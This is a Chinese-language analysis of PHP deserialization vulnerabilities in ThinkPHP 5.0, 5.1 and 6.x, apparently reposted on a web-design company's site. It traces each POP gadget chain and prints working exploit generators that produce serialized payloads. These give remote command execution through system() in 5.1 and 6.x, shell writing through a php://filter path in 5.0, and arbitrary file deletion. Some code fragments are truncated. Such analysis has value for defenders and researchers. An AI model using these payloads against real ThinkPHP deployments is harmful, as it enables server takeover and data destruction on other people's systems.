Thinkphp5.0、5.1、6.x反序列化的漏洞分析

这篇文章给大家介绍Thinkphp5.0、5.1、6.x反序列化的漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

企业建站必须是能够以充分展现企业形象为主要目的,是企业文化与产品对外扩展宣传的重要窗口,一个合格的网站不仅仅能为公司带来巨大的互联网上的收集和信息发布平台,创新互联建站面向各种领域:水电改造网站设计成都全网营销推广解决方案、网站设计等建站排名服务。


命名空间

命名空间的声明可避免类或函数名重复导致的各种问题。使用namespace可以声明、切换命名空间。


/*运行结果
 *当前命名空间first
 *当前命名空间second
 */

在不同命名空间内可以定义同名类,有多个命名空间时,默认为最后一次声明的空间.若要使用其他命名空间的类,则需要在类前加入命名空间,直接使用其他命名空间的类会出错

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv5.1 漏洞

Thinkphp v5.1.39LTS

POP链为:Windows::__destruct --> Pivot::__toString  --> Request::__call  -->Request::isAjax  --> Request::param  --> Request::input  --> Request::filterValue  -->call_user_func,

Windows类thinkphp/library/think/process/pipes/Windows.php

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟踪removeFiles()
Thinkphp5.0、5.1、6.x反序列化的漏洞分析

该函数功能,遍历Windows->files属性,若存在该属性指定的文件,则删除。$this->files完全可控,故可删除任意文件,例如

files = ["D://del.txt"];
	}
}

echo urlencode(serialize(New Windows()))."\n";

?>
//运行结果
//O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22D%3A%2F%2Fdel.txt%22%3B%7D%7D

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

removeFiles函数第163行,以file_exist函数处理$filename,file_exist函数会将参数当作字符串处理,倘若使得$filename为一个拥有__toString方法的对象则可触发__toString方法。

Pivot类的__toString方法来自父类Model,而Model的__toString方法则来自trait类Conversion

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Conversion类__toString链如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

toArray代码过长,截取有用部分如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其间$relation变量来自$this->data[$name],而$name变量则来自$this->append,此两者皆可控。若使得$relation为拥有可利用visible方法或者不拥有visible方法但拥有可利用__call方法的对象,则可进入下一步利用。

__call这里找到Request类,如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

由于$this->hook可控,我们可以轻易执行到call_user_func_array.但又由于代码330行array_unshift的存在,使得Request对象被放置到$args的首位,导致我们无法在此处执行任意代码(因为参数不可控),故需要再次寻找第一个参数不太影响结果的函数构造可利用链。

这里找到Request::isAjax,并跟踪

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟踪input

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$name来自config['var_ajax'],可控,$data来自$this->param,也可控.

跟踪filterValue,其间执行了call_user_func($filter, $value)

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$value来自input中的$data,故最终来自$this->param,$filter在调用getFilter函数后获得

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其间$this->filter可控,故$filter可控。由于$filter,$value皆可控,故可执行任意代码,再回看一次pop链

Windows::__destruct --> Pivot::__toString  --> Request::__call  -->Request::isAjax  --> Request::param  --> Request::input  --> Request::filterValue  -->call_user_func

exp

倘若要执行system('id'),则需要控制变量为以下值

Request->filter = "system";
Request->param = array('id');
Request->hook['visible'] = [$this,"isAjax"];
Request->config['var_ajax'] = '';
Pivot->data = ["azhe" => new Request()];
Pivot->append = ["azhe" => ["4ut","15m"]];
Windows->files = [new Pivot()];

---exp---
data = ["azhe" => new Request()];
		$this->append = ["azhe" => ["4ut","15m"]];
	}
}

class Request{
	protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    protected $param = [];
    protected $hook = [];
    protected $filter;
    public function __construct(){
    	$this->filter = "system";
    	$this->hook = ["visible" => [$this, "isAjax"]];
    	$this->param = array('id');			//可以在这里写定命令,也可不在此设定,param函数会通过提交的参数来更新该值,故也可直接在地址栏提交任意参数执行命令
        $this->config['var_ajax'] = '';
    }
}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
	private $files ;
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv6.x 漏洞

POP链Model->__destruct() --> Model->save() --> Model->updateData() --> Model->checkAllowFields() --> Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()

先看反序列化起点Model->__destruct()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->lazySave == true时调用save,跟踪如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想调用updateData,需要绕过第一个if并且$this->exists == true

if的绕过需要使isEmpty()返回false并且trigger()返回true

跟踪isEmpty(),当$this->data不为空时返回false

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟踪trigger(),当$this->withEvent == false时trigger()返回true.(PS:trigger()所属类为ModelEvent)

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

绕过后,跟踪updateData().

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想调用checkAllowFields需要绕过第二个if.跟踪getChangedData()查看$data的获取

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->force == true时,$data可控并且就为$this->data的值

跟踪checkAllowFields().这里已经可以看到一个__toString触发点,除了这一个触发点,还有一个触发点就是db()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟踪db().进行字符串拼接处即是触发点。只要使$this->table、$this->name或$this->suffix为拥有__toString方法的对象即可。

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想执行到触发点,需要绕过updateData的第2个和第3个if,也即是$this->field(默认为空)与$this->schema(默认为空)为空

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

以上即是__destruct链,总结一下需要设置的属性如下

Model->lazySave = true;
Model->exists = true;
Model->withEvent = false
Model->force = true;
Model->data不为空
Model->name(或table、suffix)为某对象

下面看__toString

Conversion->__toString

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟踪toArray()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要调用getAttr()首先需要绕过if.

$data来自$this->data$this->relation,当$datavalue不是Model或ModelCollection实例时即可通过第一个if,若设置$this->visible则在173行调用getAttr,不设置则在175行调用,没有影响.

跟进getAttr()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

调用getData获取到$value,跟进

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟进getRealFieldName()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->strict == true(默认也为true)时,返回$name(name即是$this->data的key).也即是$fieldName终值为$this->data的key.

代码279行的if,当$this->data中存在$fieldName键时,返回对应键的值。故$value最终值为$this->data[$fieldName]

跟进getValue()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代码第496行,$closure完全可控,第497行触发rce.

先看调用getValue()传入的参数,$name、$value、$relation,这三者分别为$this->data的key,$this->data的value,false

因为$this->withAttr[$fieldName]可控并且$relation == false,故程序会执行到497行。

以上则为__toString链,总结需要设置的内容如下

$this->data = array('azhe'=>'whoami');
$this->withAttr = array('azhe'=>[])
Conversion类为trait类,需要寻找使用了它的类,这里可以用Pivot类

上下文总结如下
$Model->lasySave = true;
$Model->exists = true;
$Model->withEvent = false;
$Model->force = true;
$Model->name = new Pivot();
$Model->data = array('azhe'=>'whoami');
$Model->withAttr = array('azhe'=>'system');

exp

__destruct()
 *Model->save()
 *Model->updateData()
 *Model->checkAllowFields()
 *Conversion->__toString()
 *Conversion->toJson()
 *Conversion->toArray()
 *Conversion->getAttr()
 *Conversion->getValue()
 */
namespace think;
abstract class Model{
	private $exists;
	private $force;
	private $lazySave;
	protected $name;
	protected $withEvent;
	private $data;
    private $withAttr;

	public function __construct($obj = null,$cmd = ''){
		$this->lazySave = true;
		$this->exists = true;
		$this->withEvent = false;
		$this->force = true;
		$this->name = $obj;
		$this->data = array('azhe'=>"${cmd}");
    	$this->withAttr = array('azhe'=>'system');
	}
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

$a = new Pivot();
$b = new Pivot($a,$argv[1]);
echo urlencode(serialize($b))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv5.0 漏洞

POP链Windows->__destruct() --> Windows->removeFiles() --> Model->__toString --> Model->toJson() --> Model->toArray() --> Output->__call --> Output->block --> Output->writeln --> Output->write --> Memcache->write --> File->set

首先看__destruct链,thinkphp/library/think/process/pipes/Windows.php:56

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟进removeFiles(),这里与TPv5.1相同,也存在任意文件删除,不再演示

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

再看__toString链,thinkphp/library/think/Model.php:2265

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟进toJson()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟进toArray(),代码过多,截取关键部分

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

倘若$value可控,则可在此处触发__call

因为$this->append可控,所以$name可控,当$name不为数组,并且不含有.时,代码进入899行,跟进Loader::parseName();

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$relation可控为第一个字母小写的任意字符串

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代码第900-901行,我们可以调用该类(Model)的任意方法,并且将结果赋予$modelRelation

先跟进getRelationData()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟进isSelfRelation()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟进getModel(),这个getModel是Relation的类方法

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

它的getModel又调用了$this->query的getModel,因为$this->query可控,故全局搜索getModel(),发现两个简单易用的getModel
Thinkphp5.0、5.1、6.x反序列化的漏洞分析

这两个getModel都是直接返回对象的$this->model,故$modelRelation->getModel()可控

可以发现,$this->parent可控,倘若$modelRelation也可控,那么$value就可控。回看$modelRelation,它为我们调用的、任一Model方法的返回值,查看Model类的方法,找到一简单可控的方法getError()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

再往下看

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$modelRelation需要存在getBindAttr方法,全局搜索发现只有抽象类OneToOne存在该方法,并且该类也是Relation的子类。从这里看,我们需要让$modelRelation为OneToOne的子类.再往下看,$bindAttr可控

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

到这,已经可以随便控制$bindAttr使代码执行到912行了。

912行,可以这样看

$item[$bindAttr的key] = $this->parent ? $this->parent->getAttr($bindAttr[key]) : null,$bindAttr$this->parent皆可控

OneToOne的子类如下,$modelRelation可以任选其一

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

由于我们要使用Output类的__call方法,故需要使$this->parent为Output对象

__toString链需要构造以下内容

Model->append = array('4ut15m'=>'getError');
Model->error = new BelongsTo();	//或者HasOne
Model->parent = new Output();
OneToOne->selfRelation = false;
OneToOne->query = new ModelNotFoundException();
OneToOne->bindAttr = array('4ut15m');
ModelNotFoundException->model = new Output();

再看__call链,thinkphp/library/think/console/Output.php:208

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代码212行,调用当前对象的block方法,跟进block()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟进writeln()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->handle可控,全局搜索write方法,找到 Memcache::write

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其中$this->handler$this->config都可控

全局搜索set方法,发现File::set

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

因为$this->options可控,故$expire可控,$nameMemcache->config相关,半可控,跟进getCacheKey()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

至此$filename路径可控,$name为可以确定的md5值

写入文件的内容$data$value$expire组成,追溯前者其不可控,值为true。后者则由于格式化输出的原因无法控制。跟进setTagItem()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代码在200行又调用了set方法,并且写入内容$value为传入的参数$name也即是前文的$filename,路径部分可控。这里可以通过php伪协议php://write写入shell,如下

php://filter/write=string.rot13/resource=

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

__call链需要构造以下内容

Output->styles = ['getAttr'];
Output->handle = new Memcache();
Memcache->handler = new File();
File->options = ['expire'        => 0,
        	'cache_subdir'  => false,	//设置为false可控制写入的文件在默认路径下
        	'prefix'        => '',
        	'path'          => 'php://filter/write=string.rot13/resource=',
        	'data_compress' => false];

exp

files = array(new Pivot());	
	}
}

namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
//Pivot类
class Pivot {
	public $parent;	
	protected $error;
	protected $append;
	
	public function __construct(){
		$this->append = array('4ut15m' => 'getError');
		$this->error = new BelongsTo();		
		$this->parent = new Output();	
	}
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
//BelongsTo类
class BelongsTo {
	protected $parent;
	protected $query;
	protected $selfRelation;
	protected $bindAttr;

	public function __construct(){
		$this->selfRelation = false;
		$this->query = new ModelNotFoundException();		
		$this->bindAttr = array('4ut15m');
	}

}

namespace think\console;
use think\session\driver\Memcache;
//Output类
class Output{
	private $handle;
    protected $styles;

	public function __construct(){
		$this->styles = ['getAttr'];
		$this->handle = new Memcache();	
	}
}

namespace think\db\exception;
use think\console\Output;
//ModelNotFoundException类
class ModelNotFoundException{
	protected $model ;

	public function __construct(){
		$this->model = new Output();	
	}
}

namespace think\session\driver;
use think\cache\driver\File;
//Memcache类
class Memcache{
	protected $handler;

	public function __construct(){
		$this->handler = new File();
	}
}

namespace think\cache\driver;
use think\cache\Driver;
//File类
class File {
	protected $tag;
	protected $options;
	public function __construct(){
		$this->tag = '4ut15m';
		$this->options = [
        	'expire'        => 0,
        	'cache_subdir'  => false,
        	'prefix'        => '',
        	'path'          => 'php://filter/write=string.rot13/resource=',
        	'data_compress' => false,
    	];
	}
}

use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

关于Thinkphp5.0、5.1、6.x反序列化的漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


名称栏目:Thinkphp5.0、5.1、6.x反序列化的漏洞分析
网页路径:http://azwzsj.com/article/geiddj.html